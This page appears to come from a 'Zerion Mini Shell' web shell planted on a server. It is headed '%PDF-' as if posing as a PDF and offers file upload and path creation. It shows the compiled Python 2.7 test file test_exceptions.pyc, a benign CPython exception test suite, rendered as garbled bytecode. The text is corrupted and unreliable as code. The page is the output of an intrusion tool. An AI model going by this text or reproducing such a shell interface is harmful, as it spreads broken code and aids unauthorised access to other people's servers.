%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_exceptions.pyc


Nac@sddlZddlZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZddlm
Z
defdYZdejfdYZdefd	YZd
ejfdYZdZed
krendS(iN(tTESTFNtunlinktrun_unittesttcaptured_stderrtcheck_warningstcpython_only(tignore_deprecation_warningstBrokenStrExceptioncBseZdZeZRS(cCstddS(Nsstr() is broken(t	Exception(tself((s0/usr/local/lib/python2.7/test/test_exceptions.pyt__str__
s(t__name__t
__module__R
t__repr__(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs	tExceptionTestscBseZdZdZdZdZedZdZe	dZ
dZdZe	d	Z
e	d
ZdZdZd
ZdZdZdZdZdZdZRS(cCsUy*ddlm}ddl}||Wn$tk
rP}|jd|nXdS(Ni(treloadsreloading exceptions: %s(timpRt
exceptionstImportErrortfail(R	RRte((s0/usr/local/lib/python2.7/test/test_exceptions.pyt
testReloadscCsy
|dWn|k
r.}t|}nXy|dWn|k
r`}t|}nX|j|||j|j|dS(Ntspam(tstrtassertEqualR(R	texctexcnameterrtbuf1tbuf2((s0/usr/local/lib/python2.7/test/test_exceptions.pytraise_catchs
cBs/|jed|jeeed|jedeed}|jeed}ej	}z.y|e_	e
}Wnek
rnXWd|e_	|jeeX|jed|jeedd|je
d|je
ed	|jed
g}|je|jd|jedi}|je|jd
|jed|jed|jedy
e}Wnek
rnX|jedd}xedD]}||7}qW|jed|jedyddUWnek
rnX|jed|jed|jed|jed|jeejd|jedygd!Wnek
rnX|je d|je e!d|je"dydd}Wne"k
rnX|je#d ydd}Wne#k
r*}nXdS("NtAttributeErrortundefined_attributetEOFErrortwtrtIOErrorsthis file does not existRtundefined_modulet
IndexErrori
tKeyErrortkeytKeyboardInterrupttMemoryErrort	NameErrort
OverflowErroriitRuntimeErrortSyntaxErrors/
tIndentationErrortTabErrortSystemErrort
SystemExitit	TypeErrort
ValueErrori'tZeroDivisionErrorR(($RRtassertRaisestgetattrtsysR!topenRtclosetstdint	raw_inputRR$Rt
__import__R&t__getitem__R'R)R*R+tundefined_variableR,trangeR-R.R/R0R1R2texitR3R4tchrR5R(R	tfpt	savestdintxtdummyR((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestRaising+s
		

	





cs[fd}d}tjjds7||dnd}||d|dddS(Ncsgyt|ddWn?tk
rU}|j|krcjd||jfqcnXjddS(Ns
<fragment>texecsexpected %s, got %ss"failed to get expected SyntaxError(tcompileR.tmsgR(tsrcRJR(R	(s0/usr/local/lib/python2.7/test/test_exceptions.pytckmsgs!s\while 1:
            try:
                pass
            finally:
                continuetjavas0'continue' not supported inside 'finally' clausesHif 1:
        try:
            continue
        except:
            passs'continue' not properly in loops	continue
(R8tplatformt
startswith(R	RLts((R	s0/usr/local/lib/python2.7/test/test_exceptions.pyttestSyntaxErrorMessage|s

cs^dddYfd}fd}tjjdsZ||ndS(NtBadExceptioncBseZdZRS(cSs
tddS(Nscan't instantiate BadException(R-(tself_((s0/usr/local/lib/python2.7/test/test_exceptions.pyt__init__s(RRRT(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRRscsddl}y|jdWnktk
r}tj\}}}|jj}j|jdj	|j
jdtj
dnXjddS(Niit
test_capi1ttest_exceptionstpysExpected exception(t	_testcapitraise_exceptionR3R8texc_infottb_frametf_codeRtco_namet
assertTruetco_filenametendswithtostextsepR(RXRRttbtco(RRR	(s0/usr/local/lib/python2.7/test/test_exceptions.pyRUs(csddl}y|jdWntk
r}tj\}}}|jj}j|jdj	|j
jdtj
d|jjj}j|jdnXjddS(NiiRTRVRWt
test_capi2sExpected exception(RXRYR-R8RZR[R\RR]R^R_R`RaRbtf_backR(RXRRRcRdtco2(RRR	(s0/usr/local/lib/python2.7/test/test_exceptions.pyRes$RM((R8RNRO(R	RURe((RRR	s0/usr/local/lib/python2.7/test/test_exceptions.pyttestSettingExceptionscCsytWntk
rntX|jttdd|jttddd|jtddjd|jtddjddS(Nit1001tmessages[Error 1001] messagei(tWindowsErrorR+RRterrnotwinerror(R	((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_WindowsErrors
c
Cs.td+idd6d,d6ftd-idd6d.d6ftd/idd6d0d6ftd1idd6d2d6ftd3idd6d4d6dd6ftd5idd6d6d6dd6dd6dd	6ftd7idd6d8d6dd6dd6d
d	6ftd9idd6d:d6dd6dd6d
d	6ftd;idd6d<d6ftd=idd6d>d6dd	6d
d6dd6ftd?idd6d@d6dd6dd	6dd6ftdAidd6dd6dd6dd6dd6dd6dd6ftdBidd6dCd6dd6dd6dd6dd6dd6dd6ftddDfidd6dd6dd6ddEfd6dd6dd6dd6dd6ftdFidd6dd6dGd6dd6dd6dd6dd6dd6ftdHidd6dId6ftdJidd6dKd6dd6dd6dd 6dd!6ftdLidd6dMd6dd6d"d6dd 6dd!6ft	dNidd6dOd6d#d6d$d!6dd 6dd%6fg}yD|j
tdPidd6dQd6dd	6dd&6d'd6dd6fWntk
rnXxj|D]b\}}}y||Wqtk
r%}t
||k	r
n|jt
|jd(t|}xJ|D]B}|jtt||t||d)t||fq9WxttfD]}xt|jdD]t}	|j|j||	}
xP|D]H}tt|
|}t||}|j||d*||fqWqWqWqXqWdS(RNtRjtargsitfootcodetfilenameRltstrerrortbartbaztquuxterrnoStrtstrErrorStrtfilenameStrRJttexttlinenotoffsettprint_file_and_linetmsgStrt	linenoStrt	offsetStrttextStrtprint_file_and_lineStrtasciiuaisordinal not in rangetencodingtobjecttstarttreasonsuあtouchtendRmiRsexception "%s", attribute "%s"spickled "%r", attribute "%s"(((i(i(Rq(Rq(Rqi(Rqi(Rq(Rq(Rq(Rq(RqRu(RqRu(RqRuRv(RqRu(RqRuRvRw(RqRuRvRw(RxRyRz(RxRy(iRyRz(iRy((R(R(RzRRR(RzRRR(RRzRRRR(RRzRRRR(((Ruaiisordinal not in range(Ruaiisordinal not in range(Rsiisordinal not in range(Rsiisordinal not in range(uあiiR(uあiiR(iRyRz(iRy(t
BaseExceptionR2R$tNonetEnvironmentErrorR.tUnicodeErrortUnicodeEncodeErrortUnicodeDecodeErrortUnicodeTranslateErrortappendRkR+ttypeRRRtreprR7tpickletcPickleR@tHIGHEST_PROTOCOLtloadstdumps(
R	t
exceptionListRRptexpectedRRPtcheckArgNametptprotocoltnewtgottwant((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestAttributess








cCsWtd}tdtf}|j|jdWdQX|jt|jddS(NRqs:BaseException.message has been deprecated as of Python 2.6i(RRtDeprecationWarningRRjtlentwarnings(R	RR"((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestDeprecatedMessageAttribute9s
cCstd}d|_tdt}|j|jdWdQX|jt|jd|`|jt|jWdQXdS(NRqRutquieti(	RRjRtTrueRRRR6R(R	RR"((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestRegularMessageAttributeBs	cCstd}td}d|_xjttfD]\}|j|j|}|j|jd|j|j|}|j|jdq.WdS(NRqRu(RRjRRRRR(R	RtfRtepRC((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestPickleMessageAttributeOs	cCs;d}t|}|j|||j|j|dS(Niii(iii(RRRp(R	RpR((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestSlicing[scCsR|jttdddtfdY}|dd}|j|jddS(NtaitDerivedExceptioncBseZdZRS(cSstj|||_dS(N(RRTt	fancy_arg(R	R((s0/usr/local/lib/python2.7/test/test_exceptions.pyRTjs
(RRRT(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRisRi*(R6R3RRR(R	RRE((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestKeywordArgsdsc	sfd|jtfdtDyWn$tk
rVn!|jdnX|jdWdQXdS(NcsS(N(((R(s0/usr/local/lib/python2.7/test/test_exceptions.pyRrscs$ySWntk
rdSXdS(Ni(R4((tg(s0/usr/local/lib/python2.7/test/test_exceptions.pyRvs
sShould have raised KeyError(R6R-RR(R	((RRs0/usr/local/lib/python2.7/test/test_exceptions.pyttestInfiniteRecursionqs	

cCsu|jtt|jtt|jttd|jttd|jttddS(NRuauá(R^RRtunicode(R	((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestUnicodeStrUsages
cCstddddd}|jt|dd|_|jt|dd|_d	|_|jt|d
d|_|jt|dd
|_|jt|dtddddd}|jt|dd|_|jt|dd|_d	|_|jt|dd|_|jt|dd
|_|jt|dtdddd}|jt|dd|_|jt|dd|_d	|_|jt|dd
|_|jt|ddS(NRvuxxxxxiiRqs8'baz' codec can't encode characters in position 1-4: foois='baz' codec can't encode character u'\x78' in position 1: foolESh
MQ)EsJ'baz' codec can't encode characters in position 1-4: 965230951443685724997isK'4000' codec can't encode characters in position 1-4: 965230951443685724997isN'4000' codec can't encode characters in position 1000-4: 965230951443685724997txxxxxs3'baz' codec can't decode bytes in position 1-4: foos5'baz' codec can't decode byte 0x78 in position 1: foosE'baz' codec can't decode bytes in position 1-4: 965230951443685724997sF'4000' codec can't decode bytes in position 1-4: 965230951443685724997sI'4000' codec can't decode bytes in position 1000-4: 965230951443685724997uxxxxs/can't translate characters in position 1-4: foos4can't translate character u'\x78' in position 1: foosAcan't translate characters in position 1-4: 965230951443685724997sDcan't translate characters in position 1000-4: 965230951443685724997(	RRRRRRRRR(R	tu((s0/usr/local/lib/python2.7/test/test_exceptions.pyttestUnicodeChangeAttributess>														cCsCtttf}x-|D]%}|jt|j|dqWdS(NRo(RRRRRt__new__(R	tklassestklass((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_unicode_errors_no_objects
c	sdtfdYdtffdY}tg}y
tWnC|k
rm}|jdn1tk
r}n!|jdnX|jdWdQXtT}fd\}}}|j|tk||jdt|WdQXdS(	NtMetacBseZdZRS(cSs
tdS(N(R4(tclstsubclass((s0/usr/local/lib/python2.7/test/test_exceptions.pyt__subclasscheck__s(RRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRstMyExceptioncseZZRS((RRt
__metaclass__((R(s0/usr/local/lib/python2.7/test/test_exceptions.pyRss%exception should not be a MyExceptionsShould have raised KeyErrorcs*ySWntk
r%tjSXdS(N(R-R8RZ((R(s0/usr/local/lib/python2.7/test/test_exceptions.pyRs
s maximum recursion depth exceeded(	RRRR'RR^R-tassertInR(R	RtstderrRtvRc((RRs0/usr/local/lib/python2.7/test/test_exceptions.pyttest_badisinstances"

cCs6dtfdY}|jt|WdQXdS(NRcBseZdZRS(cWstS(N(R(RRp((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs(RRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs(RR6R3(R	R((s0/usr/local/lib/python2.7/test/test_exceptions.pyt!test_new_returns_invalid_instancescCsFytstdWn)tk
rA}|jt|dnXdS(Nis(3,)(i(tFalsetAssertionErrorRR(R	R((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_assert_with_tuple_argscsAdtffdY}t|dd_`dS(NtNastycseZfdZRS(cs
`dS(N(Rj(Rj(R(s0/usr/local/lib/python2.7/test/test_exceptions.pyt__del__s(RRR((R(s0/usr/local/lib/python2.7/test/test_exceptions.pyRsRJ((RR4RpRj(R	R((Rs0/usr/local/lib/python2.7/test/test_exceptions.pyttest_bad_exception_clearings	(RRRRRGRQRRhRnRRRRRRRRRRRRRRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs(	
		Q	'	
j			
		
				%		!			tExcWithOverriddenStrcBs eZdZdZdZRS(s|Subclass of Exception that accepts a keyword 'msg' arg that is
    returned by __str__. 'msg' won't be included in self.argscOs/|jd|_tt|j||dS(NRJ(tpopRJtsuperRRT(R	Rptkwargs((s0/usr/local/lib/python2.7/test/test_exceptions.pyRTscCs|jS(N(RJ(R	((s0/usr/local/lib/python2.7/test/test_exceptions.pyR
s(RRt__doc__RTR
(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs	tTestSameStrAndUnicodeMsgcBsweZdZdZdZdZdZdZdZdZ	dZ
ed	Zd
Z
dZRS(sBunicode(err) should return the same message of str(err). See #6108cCs6|jt|||jt|t|dS(s>Helper function that checks if str(exc) == unicode(exc) == msgN(RRR(R	RRJ((s0/usr/local/lib/python2.7/test/test_exceptions.pytcheck_same_msgsc
Cstddtddtdtd	d
dddtd	d
dddg}x*|D]"}|jt|t|qXWdS(s&Check same msg for built-in exceptionssinvalid syntaxs<string>iis2+*3isNo such file or directorys both should have the same quotesRsàisordinal not in range(128)uሴN(s<string>iis2+*3(R.R$R'RRRRR(R	Rt	exception((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_builtin_exceptions
s	
cCs|jtddS(s(Check same msg for Exception with 0 argsRoN(RR(R	((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_0_argsscCsfx'dD]}|jtd||qWtdd}|jtt||jt|ddS(s@Check same msg for exceptions with 0 args and overridden __str__RqufooRJufööN(Rqufoo(RRR6RRRR(R	RJR((s0/usr/local/lib/python2.7/test/test_exceptions.pyt#test_0_args_with_overridden___str__$s

cCs`x$dD]}|jt||qWtd}|jtt||jt|ddS(s(Check same msg for Exceptions with 1 argRqufooufööN(Rqufoo(RRR6RRRR(R	targR((s0/usr/local/lib/python2.7/test/test_exceptions.pyt
test_1_arg1s

cCslx*dD]"}|jtdd||qWtddd}|jtt||jt|ddS(s?Check same msg for exceptions with overridden __str__ and 1 argRqufooRRJufööN(Rqufoo(RRR6RRRR(R	RJR((s0/usr/local/lib/python2.7/test/test_exceptions.pyt"test_1_arg_with_overridden___str__=s

 cCs@ddd
g}x*|D]"}|jt|t|qWd
S(s,Check same msg for Exceptions with many argsiRqiufooRuiufööubarRvN(iRq(iufooRu(iufööubarRv(RRR(R	targslistRp((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_many_argsJs
	
cCs~x6d	D].}tdddd|}|j||qWtddddd}|jtt||jt|ddS(
sCCheck same msg for exceptions with overridden __str__ and many argsRqufootarg1uarg2ufööRJuarg3N(Rqufoo(RRR6RRRR(R	RJR((s0/usr/local/lib/python2.7/test/test_exceptions.pyt&test_many_args_with_overridden___str__Us
	c
Csddl}d}d}|jt|jd|jd}|jt|t|jt|t|j	|j
|jd|}|j|j
||jdd|}|jt||d	tfd
Y}|jd|||f}|jt|||jt|||j|j
||jdd
|idd6}	|jt|	||j|	j
d|j|	j
d
dS(NisThis is a test docstring.sThis is another test docstring.terror1s_testcapi.error1s_testcapi.error2s_testcapi.error3tbasetCcBseZRS((RR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyR}ss_testcapi.error4s_testcapi.error5RoiR(RXR6R1tmake_exception_with_doctassertIsRR^t
issubclassRtassertIsNoneRRRR(
R	RXtdoc2tdoc4Rterror2terror3Rterror4terror5((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_exception_with_docds2	cCs(dddY}d|fdY}dddY}x|||fD]}|}t
}~WdQX|j}|j|d||kr|jd|n|jd	|||kr|jd
||jd|n |jd||jd
||j|jdqLWdS(Nt	BrokenDelcBseZdZRS(cSstd}|dS(Ns
del is broken(R4(R	R((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs(RRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRst
BrokenReprcBseZdZRS(cSstddS(Nsrepr() is broken(R(R	((s0/usr/local/lib/python2.7/test/test_exceptions.pyR
s(RRR
(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRstBrokenExceptionDelcBseZdZRS(cSst}|dS(N(R(R	R((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs	(RRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRssException.* ignoreds<object repr() failed>RRs<exception repr() failed>R4s
del is brokens
(((RtgetvaluetassertRegexpMatchesRR^R`(R	RRRt
test_classtobjRtreport((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_unraisables$		cCsxttfD]}y|d}|Wn6|k
rat}tjtjWdQXnX|j}|jd||jd||j|j||tkr|jd|n|jd||j	|j
dq
WdS(Nstest messagestest_exceptions.pys	raise excs<exception str() failed>s
(R4RRR8t__excepthook__RZRRRR^R`(R	texc_typeRRR((s0/usr/local/lib/python2.7/test/test_exceptions.pyttest_unhandleds

(RRRRRRRRRRRRRRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyRs				
		
		(	$cCstttdS(N(RRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyt	test_mainst__main__(RaR8tunittestRRttest.test_supportRRRRRRttest.test_pep352RRRtTestCaseRRRRR(((s0/usr/local/lib/python2.7/test/test_exceptions.pyt<module>s.
	

Zerion Mini Shell 1.0